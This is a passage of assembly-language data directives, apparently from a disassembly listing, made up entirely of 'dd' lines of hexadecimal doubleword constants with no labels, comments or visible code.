		dd 988883FFh, 0E15E1AFAh, 0FA238C2Fh, 0E0D80107h, 0CA92484h
		dd 26AF0704h, 1C13046Ch, 93D2E491h, 70A4207Ah, 3B00B008h
		dd 2212CBDFh, 1279D4F1h, 0E5925Dh, 3E3A71B4h, 1526B2F3h
		dd 619DBC9Eh, 9848655h,	0D81125AFh, 24979778h, 0A80D491h
		dd 1C5B2529h, 0C69AE701h, 31FE62C2h, 0C948446Fh, 3FEA02E2h
		dd 7E20D0D2h, 906C7FC1h, 0BC7520A0h, 0F8652505h, 40C0748Dh
		dd 1E677080h, 0C3E3D0EDh, 8BE21C20h, 65D3B690h,	8545CE1Dh
		dd 75BC171h, 3868FF00h,	62F73E09h, 9F284883h, 0A60D0229h
		dd 2AFA75E7h, 6D92FC56h, 52B128CCh, 653A901Dh, 0A0421092h
		dd 627DBA44h, 2F297B2Dh, 7A09DE6Ch, 843CF173h, 0B8B50DB1h
		dd 0CE5F0B80h, 0E190C3E7h, 26BAD45h, 6959F76Ch,	786088E2h
		dd 9DB7E081h, 837D91D4h, 899922C3h, 43A9F68h, 0ACD0B110h
		dd 8CC78834h, 0ED397914h, 0B22DB10Eh, 0FFC8A171h, 6FC1261Ah
		dd 46676D0h, 0AEFE8BC0h, 0A18890A2h, 72547DD3h,	0A80991E4h
		dd 68222515h, 42E567F0h, 84CA5FE9h, 59C166C8h, 6DE8BB20h
		dd 0F6390224h, 464D214Eh, 0F9017CD4h, 0B2652094h, 0F41C002Fh
		dd 24D00F83h, 78819F4Ah, 212FA437h, 732AA0FCh, 3333E218h
		dd 0D7786FE2h, 0A2950D74h, 99E35188h, 0DCD295A8h, 7000F408h
		dd 71A92BB3h, 9F755Dh, 20A3EB5Bh, 29FDB278h, 0AC44245Ah
		dd 3431655Fh, 1804052Bh, 0C016CA85h, 0CB8953F4h, 465E18BCh
		dd 1924834h, 7E1AAFF3h,	8C307F6Bh, 0D36A24FEh, 0FD41E484h
		dd 0DBD0014h, 0D040F938h, 0F2390E18h, 0B6D3F0h,	8CBCAF60h
		dd 0F94FF5D2h, 0B8A37017h, 0C1D9800h, 0BCFCB701h, 399B8812h
		dd 2B90C8h, 7F363774h, 0F0943B98h, 7A917C00h, 0E32FA1EFh
		dd 20C5004Ah, 0E9A3F317h, 0AB093D9Ch, 8529CFC1h, 34AE10F5h
		dd 0F234E240h, 6EEE307Ch, 22A43200h, 0D9B33EE9h, 0F3A55AD1h
		dd 46EA0018h, 4BA3CDEh,	88C227B7h, 0E04040ABh, 97B73380h
		dd 803691B0h, 0AC11C7ADh, 0B8D01A0h, 3122F9A6h,	0B57DEFDh
		dd 35BC4880h, 0CE11C429h, 680E807h, 2D2125B3h, 0AAE2719h
		dd 69F5F868h, 2183169h,	65F244h, 4E4D2295h, 0E4266CB6h
		dd 2E1C9026h, 76A41F60h, 4CF0B039h, 0D40B176Fh,	0B19DB9Fh
		dd 11889FB7h, 14AD817Dh, 0C92EA5E3h, 92604510h,	74400A60h
		dd 8E255521h, 0AE2453DAh, 71465E08h, 85CC4700h,	315F8674h
		dd 0E0A8A0B8h, 0C8836878h, 4A0D0FEBh, 0D26827A1h, 94E22D67h
		dd 3D1FDC56h, 5CE42621h, 2601CE46h, 3FF5BFBCh, 1C4700Ah
		dd 4038CB22h, 608AB61Bh, 483611D0h, 0E5113867h,	411702A7h
		dd 0D1DEC1CFh, 186ED9A0h, 693494F7h, 0ED030851h, 0C02DFF60h
		dd 0EAB09AD0h, 820F1820h, 8AA721DAh, 69032272h,	0DDB9F2B4h
		dd 1C3790ABh, 71A60A81h, 13A83A12h, 17D48828h, 0C0D04395h
		dd 98A71BD8h, 9824A28h,	0ECEA84C8h, 983757h, 0D875D669h
		dd 23985D2Dh, 0ACC13A5Ah, 4C25E013h, 0C92F18D9h, 6DFDD06Ch
		dd 50968092h, 20CD22C2h, 5EC6436Fh, 5482A718h, 14D0B239h
		dd 9C299167h, 7EEA3022h, 22DF5927h, 5CA663B4h, 3EB9864Ch
		dd 99122911h, 0A0D2DC20h, 952C7A4Ah, 3091F097h,	91A61E81h
		dd 9EC09F2Fh, 5EC49C60h, 0CB02D546h, 0A3B9532Eh, 7A08B0FEh
		dd 0E4821629h, 3C4B7684h, 4FC84C39h, 0F4123C4Dh, 0E6207A44h
		dd 0F3F05A2Dh, 0AEF70280h, 51D36F4Eh, 800CA8A4h, 5867B294h
		dd 4D29D458h, 74982498h, 7E3546h, 8B091328h, 9AF04329h
		dd 0E9558CB0h, 82FDDED0h, 0DFE41D14h, 0E1C63022h, 2726A00h
		dd 88B1C1E0h, 0E9B6B41Fh, 4026C478h, 21B120Ch, 3D5221E3h
		dd 0F4809F35h, 4BDAF616h, 0D33DC037h, 15B28B92h, 8E8060EDh
		dd 0C6A41CF3h, 9C70E541h, 10C5E900h, 1FA1F116h,	0DB0A257Dh
		dd 46DE4A4h, 141D6B8Ch,	0D820A888h, 132CFA0Bh, 49CFA17h
		dd 29DC19D0h, 0A718C21Dh, 0CB7C6821h, 2B97C439h, 0D523D8h
		dd 27062FD8h, 8F021C91h, 0A6613817h, 0E4685086h, 4015591Dh
		dd 0A2314112h, 0E2D11014h, 0BA4D1F0Eh, 24CBB8F8h, 0A448D309h
		dd 3564741Dh, 0C9A081D1h, 219E08E2h, 0E52D6929h, 60D8641Ch
		dd 611C609h, 29B7B4Ah, 0ED04D1CEh, 0FCF67529h, 2E1024AFh
		dd 1F8C7088h, 0D20E6204h, 0C928ACADh, 71B0F191h, 36C18E0h
		dd 0A9CF0B8Ah, 9B8FB9Fh, 755FFDB1h, 39C00C00h, 9D7C4B81h
		dd 4D666C00h, 161761C7h, 0DBE22Eh, 0AA57C080h, 0A1118ED4h
		dd 73131E3Eh, 0DC500B4Dh, 5F61F87Ch, 0C86F56AEh, 5241A560h
		dd 7C62D820h, 9492976Dh, 405010F3h, 0AB8A0209h,	22CCD8FFh
		dd 0A4349855h, 0BB322E15h, 0A4602D98h, 0D342654Bh, 0B7BFFB22h
		dd 84520054h, 99FD5F94h, 0E7123803h, 506932AEh,	9737A2D1h
		dd 280974E4h, 9569868h,	64C04750h, 0A3DD606Eh, 0A4909561h
		dd 0DE41D95Eh, 0ED092462h, 0E4C91A5Dh, 9C007B3Eh, 0AC21D7ABh
		dd 0A2294E18h, 2BB28498h, 23283BEEh, 5B630034h,	41D46F1Fh
		dd 615E2D01h, 0D896429Eh, 45F98451h, 86F80404h,	69840578h
		dd 75C8D08Fh, 0CB87C6C0h, 0D0F60B85h, 60844D6Dh, 0C5448840h
		dd 3633D71Ch, 9D1DFB82h, 828F0134h, 0F179A5B9h,	18D779DCh
		dd 14CEE5Dh, 0A309796Fh, 4D3C6C20h, 0F0DC66F4h,	9049C546h
		dd 983B0BE8h, 0F4D8CD76h, 465EE0B6h, 4CD9006Fh,	0CC436E5h
		dd 883F5BBEh, 0E7004374h, 0E5C88161h, 0BAA3127Ah, 47A70B64h
		dd 0FD000170h, 77AEDE6Ah, 924DBC02h, 553DCA90h,	0C0D11492h
		dd 0D718D579h, 695F7C00h, 6E04A2C5h, 0CCAA4826h, 52850112h
		dd 0F2A0E254h, 701131CEh, 100A85D3h, 0E891F818h, 263213DCh
		dd 7EDF0218h, 1CC6FACDh, 82295960h, 93B6947h, 2A5520C5h
		dd 665FE4E0h, 39098D04h, 0BCBC65E6h, 6A8B8207h,	0F8DEFBDAh
		dd 58A2231Fh, 9901B4C8h, 4EFD6D6Fh, 802C38F4h, 0DDEC0B0Dh
		dd 24E85F2Ch, 0C1C4C464h, 9FCFEA89h, 0A83F9570h, 9F4E10E0h
		dd 4A8C80D1h, 0C6A8CC7Ah, 9813200Bh, 4050DC1Bh,	0DBB59E87h
		dd 70A38B4Bh, 75E84048h, 7F59008Ch, 5A9C82EDh, 2A255BD6h
		dd 0C12CE4FEh, 0A6DEB92Eh, 14567E4Eh, 204E0089h, 0FDC2FA88h
		dd 0CFA060B4h, 0C28F7E87h, 0C2A828FCh, 1B3A6048h, 1A0A209h
		dd 0CEA0674Dh, 0A1C88E11h
		dd 1DD4BDFDh, 5E092063h, 80E5D895h, 4656B0AEh, 0F606122Eh
		dd 166F60F0h, 115EB80Eh, 787C9480h, 0B2770B3Bh,	481DED9Eh
		dd 0F6802E11h, 9EDB30Dh, 98C00097h, 7A15AEEFh, 430B6D5h
		dd 0D05217A6h, 9D0706C0h, 28C0B700h, 21BAE449h,	5DF20BE0h
		dd 58D0F730h, 2CF4A21h,	0C2A65F6Dh, 0F9298458h,	248BFCE1h
		dd 8224326Ch, 24E949A8h, 40BAA5Ch, 8674D0D9h, 0E15D251Ch
		dd 698B8479h, 4904785Ch, 27A1C96h, 1D1F2E0Eh, 2277EEE3h
		dd 0F480FF50h, 101818B0h, 3845A91Ah, 68288C3Bh,	0B2485D2Dh
		dd 0A5328994h, 0B804B380h, 0B9866660h, 2021BD81h, 10EEE71Dh
		dd 0BFCB4D4Eh, 263A44CCh, 0E8FF1425h, 166DB020h, 2D7688FAh
		dd 85F0D641h, 7B4BEFEh,	66A86B4Ch, 112DF019h, 2D7CE931h
		dd 0CD72C043h, 22101CE6h, 0D927A2A0h, 18367940h, 6C4800D8h
		dd 1814073Dh, 604C034Ch, 85132F74h, 0C4F2BFA4h,	0EC008E7h
		dd 99FBF616h, 0EF048140h, 31DC18B4h, 82CAFD84h,	5E9F0119h
		dd 0EA5C6898h, 0B3C8000Eh, 0B06BFF49h, 60BF09FDh, 0A4BD4Ch
		dd 0EBBB390Fh, 21B52095h, 3FAAF900h, 682BEC1Bh,	0C5DE658h
		dd 1F724C31h, 87001120h, 7BB16B9Ch, 0F8FB8368h,	9BE70238h
		dd 80EC2620h, 0FF9EA0F4h, 640890C0h, 72B9767h, 28F4305Bh
		dd 0F3E0B2E2h, 230E3860h, 0F7001F74h, 629133A1h, 99E99E69h
		dd 1834D104h, 48F13ABDh, 8866FF82h, 604261E0h, 7A00A478h
		dd 125A5F62h, 0B51BECBAh, 71748C45h, 2478B08Ah,	0C6410ACh
		dd 0AD086459h, 18C40748h, 7A1016B4h, 3508C30Eh,	0B5E129DBh
		dd 53108C15h, 403740A7h, 0E566B143h, 3109A510h,	9518174Fh
		dd 67088C32h, 40C05802h, 9B620733h, 22BDF28h, 6C0F3D4Bh
		dd 668B0870h, 19DF70DDh, 1715C63h, 71810DCh, 6CAA1825h
		dd 0C6CFBD08h, 10624420h, 536188E1h, 0D6760C28h, 93816A11h
		dd 318119A6h, 8CEF9008h, 8EBC920h, 184B6395h, 818207Bh
		dd 0B818D966h, 0CD08CCD5h, 0D763FAD9h, 20272410h, 9F32D2A9h
		dd 0A2B508CDh, 22F93A8h, 0B4031108h, 232010ECh,	3F821003h
		dd 86312035h, 0E1F81025h, 39C428CCh, 9859DE9Ch,	69DC1065h
		dd 312B08C4h, 47BDD04h,	0D5041210h, 0E79B0686h,	35D72038h
		dd 63371520h, 83BFC974h, 4EDF0810h, 30FB0618h, 69D11BA3h
		dd 50D218B4h, 0C4D8CD08h, 40DA620h, 0F044DA8h, 0C16A0C19h
		dd 0B18C40B6h, 0D46EE4A8h, 0CF54EC80h, 61396D10h, 0A332023Ch
		dd 144903A0h, 88066F10h, 0C3098D31h, 36189251h,	6B570046h
		dd 8E234071h, 0B8086D66h, 439C20D1h, 24081ED8h,	148C908h
		dd 365C6822h, 0FC44DD05h, 1045E6Bh, 7759062Dh, 0CEB73208h
		dd 4048AA20h, 1B81625Fh, 46845192h, 8668B6Ch, 30CA7270h
		dd 0DE88D82Ah, 9AE1884h, 18CAF0B2h, 0E28C9CD8h,	40814805h
		dd 8D62D97Dh, 387B620h,	810757Ch, 0A81048B5h, 9C6C185Fh
		dd 803A1328h, 10DD9DF3h, 0E25488EAh, 6A40F0F0h,	0A78840BCh
		dd 22087862h, 7AF20228h, 2805B02h, 4F032FB3h, 0CE5010A9h
		dd 0C3C2437h, 154ACF88h, 1C10941Dh, 88B62A73h, 20618720h
		dd 0DA5410F1h, 0B540F684h, 906C4046h, 623C404Dh, 314F831h
		dd 81846DBh, 5538D04Ah,	6F4B80B3h, 18F9B1CCh, 0E7444041h
		dd 0A9030F40h, 0D195BF9Ch, 2810E87Fh, 0FA981845h, 0D5583B20h
		dd 15153C61h, 0FC318C3Eh, 25F39320h, 0C1D811ECh, 5431840Dh
		dd 0A4C81395h, 88690933h, 7C5055B1h, 6018AB78h,	1105049h
		dd 0F04002Bh, 0A2D7FF2Ah, 6E5FB6A4h, 0B88468A4h, 0A88C0330h
		dd 62DF61EBh, 0D5FDCF8h, 64BEC800h, 71DA2877h, 68C4BF1Ah
		dd 0CA00E3F0h, 905A9AEDh, 0E97394Fh, 0C3193CD0h, 682F4340h
		dd 67909382h, 0D9AC0F06h, 4101EFh, 0ED96D419h, 3EBE2FA3h
		dd 184C1731h, 91E0F798h, 0C9B200EAh, 6F3DD396h,	0AA00FBB9h
		dd 0AD7DCDA8h, 396AE9F5h, 88DD8512h, 0AB3DCC05h, 1AECE9DEh
		dd 60691DCDh, 59999ED5h, 0F1179C98h, 0F5CC00ACh, 8329C81Ah
		dd 46A93300h, 0D0A8AB1Ch, 0BE35001Bh, 0D938B66h, 0CB0741E9h
		dd 0C82D64BAh, 2C0A0C75h, 0E82FA682h, 0FC3D9CBCh, 0F2AB1EA1h
		dd 793907C5h, 82981032h, 28C5292Bh, 8603D2D3h, 10925712h
		dd 8C0AE9A8h, 595F8A0h,	69CDB2EEh, 394AD85h, 82ED8EB3h
		dd 2CC0FDC9h, 0C613D9Fh, 0BBD5127Eh, 0A33D1448h, 692A0051h
		dd 3013D787h, 4B121B58h, 81DF205Dh, 8F2D7882h, 62119A50h
		dd 40A57058h, 2401A1DAh, 4C50Fh, 9AC74DF6h, 13183D9Dh
		dd 41A9D0E3h, 0E8890E68h, 0D854A4FFh, 0D0B9E736h, 0F4E5CB20h
		dd 0B31D2844h, 7DEF00ECh, 9BB9F133h, 0DC038912h, 2D41B2DEh
		dd 0F5383D78h, 360BF90h, 36824821h, 9FA00C65h, 0B080CD97h
		dd 2221ED60h, 1EDB2AF2h, 0B0838292h, 6527E929h,	0B6DF9E07h
		dd 3F85111Ah, 109A0800h, 3E818FAFh, 5C8635DBh, 0D1D23612h
		dd 10E42653h, 8400E728h, 0BA3BC99Eh, 0E30301BEh, 70417C52h
		dd 50286567h, 0A3960F55h, 402635E6h, 12837909h,	0F66C501Ch
		dd 1A0A04Bh, 0A85D51DAh, 0E874B088h, 0F8A4DA3Ah, 30187C69h
		dd 3E184B58h, 641E41E4h, 0EF016B8Fh, 0A6760294h, 54734095h
		dd 747E3D10h, 0A4240890h, 5D165427h, 22DA8E2h, 0DB00408Fh
		dd 6F04AA78h, 97284307h, 0AC807F16h, 33431A4h, 9D8E613Ch
		dd 0CFCA4022h, 9AE72498h, 0E6C4A500h, 86CCA39Dh, 667398h
		dd 29C39131h, 5E69AD2Bh, 48A408A1h, 0ED48B6FCh,	0C92C91B4h
		dd 93BC21ADh, 0EC52D794h, 68F48FFCh, 672F016Ah,	87EB2783h
		dd 0E421A018h, 69C9B340h, 1324A05Ah, 12D4B698h,	1F18B0D3h
		dd 0C7009C4Dh, 81186B41h, 255E9E0Fh, 5945F8C8h,	41680A06h
		dd 4820F214h, 502CAECh,	8C028DD1h, 9750F4D0h, 0F0308264h
		dd 0DCAB7857h, 4EC7231h, 1289E983h, 3828F06Ch, 6D46E52h
		dd 5301C1Ah, 1ECA249h, 912B3ED4h, 3F41F040h, 420D00EAh
		dd 0EB1B38C6h, 0AA18D5D3h, 0F728DFA4h, 4538D2A2h, 0F81A4180h
		dd 5CC25E2Ch, 2E0C604Ch, 8C589763h, 14B74624h, 40A2AA0Ch
		dd 0CFEE071Ch, 408204F8h, 2771E8EFh, 8106CCE8h,	9E2029Ah
		dd 884B5098h, 3DEC241Fh, 0D4CA81D8h, 21F221C2h,	0CF71C0AAh
		dd 0CE3F99E8h, 5035B28Ch, 0D3604092h, 0ACE0EBDAh, 0F584803Ah
		dd 1DB7FE00h, 98F127C1h, 8B6E0E39h, 0D4405EC4h,	0A59559CFh
		dd 8FB7D203h, 3FCB282h,	412EA038h, 0E100DD26h, 0D299316Dh
		dd 588485h, 91E4FAEDh, 0D9D3259Ah, 0EA93CA06h, 142AA1DAh
		dd 0FC352213h, 0EC61DBB0h, 1993A06h, 0A992636Fh, 0E52B8298h
		dd 6C74E2D4h, 1E029E02h, 90A0A4C4h, 63825500h, 980F33C6h
		dd 0B39699Eh, 6C08400Ah, 5BCC78C7h, 0A3008372h,	2F1D11E0h
		dd 0FFB0B60Fh, 41CB4099h, 60C4011Ch, 71F858C7h,	50A1F6AAh
		dd 3A246061h, 3ED61C01h, 3D6532DEh, 0C7D68D8h, 429A0108h
		dd 0A2499428h, 0B7BB101Ch, 64288C4Dh, 44E758FCh, 0DE2C1309h
		dd 7D96A098h, 877E80h, 0E9E1EDE7h, 68E4FE42h, 0D9A9203h
		dd 0CFD5A1BBh, 0D9B622C0h, 1CF690FFh, 400BB035h, 0F8DA89EAh
		dd 4B00DDAAh, 692781EFh, 0C0C186h, 0ADAB2C20h, 0A5AA230Dh
		dd 5F5E6600h, 6A80357Ch, 5AE80005h, 7E696D0Eh, 0A8003876h
		dd 0E0CD6B15h, 92EF2282h, 8448E3A0h, 0F4884867h, 44A3F422h
		dd 2010C5FCh, 4312F7A4h, 4C302963h, 0E9F8145Fh,	0A2121044h
		dd 0FAAC49CFh, 2511D0A0h, 0F81E9FC1h, 0D0390E69h, 81280108h
		dd 82FAC859h, 20A24800h
		dd 5FE3D28Fh, 4A8A425h,	7441D52Bh, 57B8D1ADh, 0AA0420CFh
		dd 4B7FD700h, 7C26A5BEh, 37E900E6h, 0EFB4DEF1h,	2F00241Ah
		dd 86C56305h, 6A8F8D6h,	5282E6AAh, 16E0F97Eh, 3AF8DA4Ch
		dd 60063241h, 1ED061F6h, 554BCF0h, 129A67E9h, 0A208411Dh
		dd 800A2F01h, 27DECCF0h, 589A9781h, 218B240Fh, 15787C80h
		dd 0B0508060h, 67749CA0h, 140D0B0h, 6D0B26A2h, 90EE648Ch
		dd 1199F428h, 7C552124h, 399A9F00h, 9D9FA0Bh, 23B501D2h
		dd 0AA6CA820h, 8402BFD8h, 0E441F7B7h, 988C4ECh,	9E2204B6h
		dd 0D5EEF801h, 9E53067h, 0AD540114h, 97CD02B8h,	0E0D622F9h
		dd 4C66D08h, 69028E91h,	0A8BC93A7h, 931301A0h, 0C0D33C06h
		dd 92A08AE9h, 7385E68h,	403564D4h, 127C6137h, 0F0B0F75Bh
		dd 3DFD0197h, 4CEC6EFBh, 82A070D7h, 0BCF3D92Ah,	697CAC50h
		dd 89205F58h, 6108A265h, 0B2FC02A7h, 57FC066h, 899C6B52h
		dd 0EB870767h, 964C188Bh, 4DB50115h, 0A2BB2B9Ch, 0F831F034h
		dd 3EBA9D18h, 26D708F0h, 1224EB83h, 97E005A4h, 289004A2h
		dd 0D6BD00B2h, 7863981Dh, 0E802BD24h, 5441319Fh, 419A81Ch
		dd 83F13345h, 0D6108463h, 8C084CC9h, 1A28A0E7h,	28606933h
		dd 4B0EBC94h, 8B26C755h, 0ED001335h, 12B5DC80h,	982E126Fh
		dd 5CFC003Ch, 0F43F66C9h, 0ECC7AA00h, 0C07585DFh, 6BC52C4Ah
		dd 0AC3E4148h, 0E0824AFh, 20ABF001h, 1E45AABBh,	0B101830h
		dd 1772457h, 6F377F80h,	8707B7DEh, 0FFAADC98h, 68EA09C0h
		dd 46B00CDh, 2442AC51h,	400417C5h, 0C8417FC3h, 679A5891h
		dd 0EA007C22h, 23991026h, 0E730823Bh, 0BAD3E836h, 32540FCAh
		dd 0B8F40872h, 2C503E1Dh, 443796CCh, 0C22F9618h, 28812588h
		dd 241D0AE7h, 0AA2FF50Ch, 0BDB0A5ADh, 0C02404C9h, 50B09292h
		dd 2F26B868h, 14606941h, 341C3B42h, 0E9968229h,	3C6ADC14h
		dd 2F6618D1h, 48056BA0h, 0D000CCCh, 28BF9ACh, 4C9AF267h
		dd 9C9F94B1h, 0F8D0780Ah, 9F038480h, 3AB37D5h, 0BE0C9AD7h
		dd 31E76690h, 8039C73Ah, 4D7DB218h, 7F740112h, 0A9EC63B0h
		dd 6EC26CE6h, 4500885h,	0B82401FCh, 34654A50h, 1ECE0480h
		dd 0CC627501h, 3B986720h, 16C43349h, 4C07A898h,	4C823D64h
		dd 0E6A06017h, 43962D41h, 0BEC7B0E0h, 2822AB16h, 0D23BA844h
		dd 41B0CA00h, 70C17B08h, 34991C4Ah, 0A60408A6h,	0A5A5D4h
		dd 98CD8682h, 60251090h, 0E2C0B845h, 0CC2488FDh, 0F12A009h
		dd 0E9600230h, 1B00710Dh, 4075F826h, 80C2AFBh, 58646994h
		dd 6197002Dh, 0A557F920h, 0BC7802A9h, 0C2440A9Fh, 4061D597h
		dd 20910466h, 0D86399D3h, 13BC942Ah, 58A5A1C1h,	7F5E18C8h
		dd 0C850AA4Ch, 3EB1267h, 0EDBEB150h, 0FE2212B0h, 0C8202F81h
		dd 0B9531737h, 287564h,	1E7139E8h, 50B8BBC5h, 0CA318327h
		dd 13084064h, 30876008h, 9A9E29E9h, 19DEE06h, 48C8C3CDh
		dd 821310B3h, 989C44E6h, 0A94CC430h, 0D130C78h,	6C140D8h
		dd 9012F641h, 0D329105Ah, 0F10ADC9Ch, 0C061A0AAh, 14359DD7h
		dd 3FC1A000h, 1011D4B5h, 30D19914h, 31A0904Ah, 13F6E02Bh
		dd 0FCD7722Ch, 2DDF01C1h, 0A3589806h, 973E0024h, 13F40F06h
		dd 84E9097Ah, 20D712h, 333E733Bh, 0E8DFC500h, 8F48ABAAh
		dd 0E9DD0519h, 8B989C93h, 9900751Ch, 2ECCE81Dh,	0E6F4DC9Ah
		dd 3CA33002h, 114A8279h, 0D488B0C3h, 0DBA7C1F6h, 54976C20h
		dd 4057B424h, 70033AD1h, 0FB4C29DFh, 0BD3EB1Eh,	2801228h
		dd 46EA5C01h, 3E0C706Ah, 301C190Bh, 8A8880CCh, 0E8CF7201h
		dd 0F6897405h, 8D2B2541h, 4C22B4C0h, 16A18F05h,	0D0901E01h
		dd 4DB2F094h, 1382F8CBh, 980A6BC1h, 41AECE2h, 38C4B165h
		dd 0C34F7C84h, 0B4945002h, 1CC59E7h, 0A299C8B3h, 111C210Ah
		dd 154B24h, 4AAB66h, 963BC591h,	182241A1h, 7012F308h, 1C321F8Ah
		dd 0F47400D3h, 0BA0E1339h, 542318D3h, 0AB082423h, 0A1416168h
		dd 8468A552h, 1024C20h,	4860FF22h, 1E908284h, 32E6A880h
		dd 60147E8h, 9AF10BC1h,	6ACD4922h, 10BD022h, 44A0501Dh
		dd 0F397BC15h, 62BF1E01h, 0D912C760h, 0BE9A064h, 57878943h
		dd 13E1400h, 90C3D575h,	0C1114295h, 5070944Eh, 80EC0191h
		dd 0F6D6EE3Fh, 0B470D4E9h, 903ADB7Fh, 9A0F0018h, 4CF2C368h
		dd 11692F05h, 48CB9C61h, 0EC881BC8h, 0ECC748B2h, 0A23FDC43h
		dd 83001DC0h, 68463699h, 163A8666h, 30E67961h, 0F91B4058h
		dd 304AE0A1h, 1D589CC8h, 22C685E8h, 0E77CAC00h,	327BF04h
		dd 0C55EE9C1h, 0C6A06833h, 7EF64139h, 9BF678C1h, 70200C13h
		dd 5AFE079Fh, 831F69A3h, 7049BF18h, 0CC010C48h,	4072A935h
		dd 3A00DB7Dh, 0DAE91D90h, 13A7CDCAh, 8B3B1A5Ah,	0AC8110C8h
		dd 32694A00h, 0A9337B29h, 0AB1C3E00h, 2DE6F5D8h, 3B41265Ah
		dd 78D4810Ch, 0DAFC8F59h, 2CD258C0h, 0D874B082h, 643181E7h
		dd 490EE954h, 200189A2h, 0AA7E0A9Bh, 0C8305893h, 73F4BF03h
		dd 0F49FA22Bh, 33D0B0FBh, 0FAE0102Ch, 9EE3F105h, 0DDF084D7h
		dd 9C23C89h, 60728224h,	0FBBB0E8h, 0F0EA9280h, 0EC17011h
		dd 83295549h, 38CC014Eh, 4213CD20h, 0CED7h, 0F1E4FFF6h
		dd 1284B02Ah, 40F71249h, 9925D4D0h, 0E909BE0Eh,	4896B081h
		dd 18A01E0h, 0EC8EA6CFh, 28A0F793h, 0E91383F8h,	2A112EE1h
		dd 1D42E264h, 7977A84Eh, 4CBC4982h, 139E1420h, 488E13Eh
		dd 89DFA42Ch, 3B9C2CB4h, 47538FA7h, 486F8D13h, 0AB20D400h
		dd 0F0C800A8h, 5B695D24h, 0B7012885h, 3EBAB2A2h, 6882ABEBh
		dd 5F013B49h, 0E90100D6h, 3121A170h, 0EE3F1C6Dh, 13175AC0h
		dd 2890CD6Dh, 7DD7C46h,	0ADB27260h, 8E56CE90h, 58B12C24h
		dd 81D5AE89h, 413DA004h, 0FF28D06Ah, 91799EA3h,	1B377400h
		dd 29BB3571h, 0AA330088h, 0E3AC1F43h, 0C01591Ch, 0A39069A2h
		dd 2D31C2h, 82A1E630h, 60C0CE57h, 5B415678h, 0ABF280D1h
		dd 9960C707h, 0D3C25F38h, 0D6A48095h, 809A8Dh, 29B5353Bh
		dd 45A9277Eh, 0CD0F1E7Fh, 2082EAE6h, 99F7BB7Fh,	0D2F20422h
		dd 0E2455FFFh, 0A85116E8h, 291850CAh, 0A9AA88D0h, 5A446896h
		dd 69D49B21h, 42E42184h, 842BCB67h, 0E9416F08h,	62D98312h
		dd 803D9F14h, 0F7FFF407h, 62E32A5h, 0F4133EDh, 3CFB2075h
		dd 9A821CCCh, 0F24890ADh, 0AF832D94h, 28BC8861h, 653E0B14h
		dd 846844D5h, 0D0A9645Ch, 0D24B0A0h, 23F1E662h,	0D0B200D7h
		dd 0EF59F041h, 0D5516308h, 7441045Eh, 0E0AB9101h, 49C4A424h
		dd 9A00A848h, 0FF03CA24h, 6F372700h, 0C008CCA2h, 2F1D011Ah
		dd 0E4948705h, 144E09Ah, 94C81920h, 282614A4h, 12EDBC02h
		dd 2C5032DFh, 0B6D92207h, 85AFA234h, 0A040777Bh, 0C05E3E04h
		dd 9F270106h, 3435723Ch, 1590F464h, 0DF038AE8h,	2D47DCAAh
		dd 0D7A81088h, 691A03D3h, 4CBF4F01h, 0FEE1B880h, 0D0320728h
		dd 8668D997h, 283F3201h, 16909100h, 865DDE9h, 14C8F11Ah
		dd 5A411235h, 0F65003B8h, 3AE0E5B2h, 0C0300113h, 9A8F70ACh
		dd 0CB201F45h, 6E38C0F9h, 0E229BA79h, 1154A06h,	0F4600D6Bh
		dd 247D2F82h, 0F62D20A0h, 26249340h, 75003A83h,	8D43FEDFh
		dd 35122642h, 1EE980F0h, 0A1E3B6D8h, 9A282C90h,	0C11CBB01h
		dd 63598227h, 7C30F950h, 70E0A84Ah, 0FAD480F7h,	0F2D74700h
		dd 3A8FB4B2h, 29340139h, 5201E484h, 6EC087DAh, 940A9396h
		dd 24463C08h, 0A2888808h, 9E699C01h, 0EC472D50h, 28279100h
		dd 58F448AAh
		dd 484B551Ah, 26F2B4C1h, 2D852154h, 7CF06C80h, 4C26C7EEh
		dd 1B0024B5h, 165B03ABh, 414A2697h, 0A029B5h, 0C4D08E7Eh
		dd 0C9FAE52Bh, 0D9AB0302h, 422F1112h, 12785024h, 9A35713h
		dd 24DD2620h, 4490D474h, 17CF8B69h, 911A177h, 7451AE0Ch
		dd 2C58A910h, 8520910h,	12441D82h, 0E0C1E61h, 80201E70h
		dd 3D3A9A91h, 0DF40A112h, 0FCF64C01h, 9842F4C9h, 1F830064h
		dd 94B0A791h, 96F22103h, 0C3828ACBh, 94200925h,	0D489018Bh
		dd 0D9137CC1h, 0EC798AC2h, 4895A0F5h, 0B2E900B8h, 37D6BDCAh
		dd 0DE9C2C70h, 0E69F3C87h, 5F0D8EEEh, 8276D160h, 60C085A3h
		dd 2140AA9Dh, 97BA0035h, 6A2F0BD3h, 2CB032E5h, 0A2FB1820h
		dd 0B47464E8h, 0AB01861Ch, 0F912F83Ah, 0C8C1C835h, 0B4520713h
		dd 0C303C128h, 0F1FF8020h, 0C713F062h, 247C2984h, 6C9E9558h
		dd 6501C000h, 3FF192Bh,	7743EA9Ch, 20E79AE5h, 60BB450Ch
		dd 3B63DCE4h, 0AAD19698h, 1800D013h, 6195FC12h,	8718C823h
		dd 0F328B829h, 6EF4092Dh, 0FCC07701h, 0A20464E8h, 0AC591BA3h
		dd 62825480h, 61E09652h, 9C7894h, 9204F501h, 83D700C8h
		dd 12E1C6C5h, 1092ADA8h, 0D000F459h, 80FE00C4h,	0ADAAED98h
		dd 4CAE020Ah, 9E88E93Fh, 1317DCF8h, 2841A909h, 0A3FC8235h
		dd 0B4249C05h, 4A1760BEh, 0BEF7F0D0h, 4CA0824Ch, 555F2F95h
		dd 4CACC756h, 4B9387Ch,	500292B7h, 61DAB891h, 0FABCC60h
		dd 1BC7BE9h, 0B1711204h, 3C8FD690h, 0C5A360E4h,	48B0E2E0h
		dd 0A4BB27E0h, 0E8ADF8CCh, 0DA10D058h, 84932520h, 0FC81F6ECh
		dd 0AC39FD97h, 3E2C075Ah, 2C2089A8h, 0FFFD780Ch, 2E78034Ch
		dd 69635C46h, 83200323h, 12EF5FEh, 2BE381h, 1A7AA6Ch, 3293E2B5h
		dd 43A8EE8Eh, 0E09D8298h, 98DEB1C4h, 1058140Dh,	645738DDh
		dd 1F0DA7C3h, 64331318h, 952E0F58h, 185D2086h, 801A10Bh
		dd 0D8E41Fh, 955BE926h,	0FA32B015h, 8F698307h, 20A46694h
		dd 24528E0h, 8BE96FC6h,	884A8AAh, 12FBAC92h, 681C2604h
		dd 0F4CB49C1h, 0DAD182AAh, 44C03075h, 35542E0Dh, 95BF00F0h
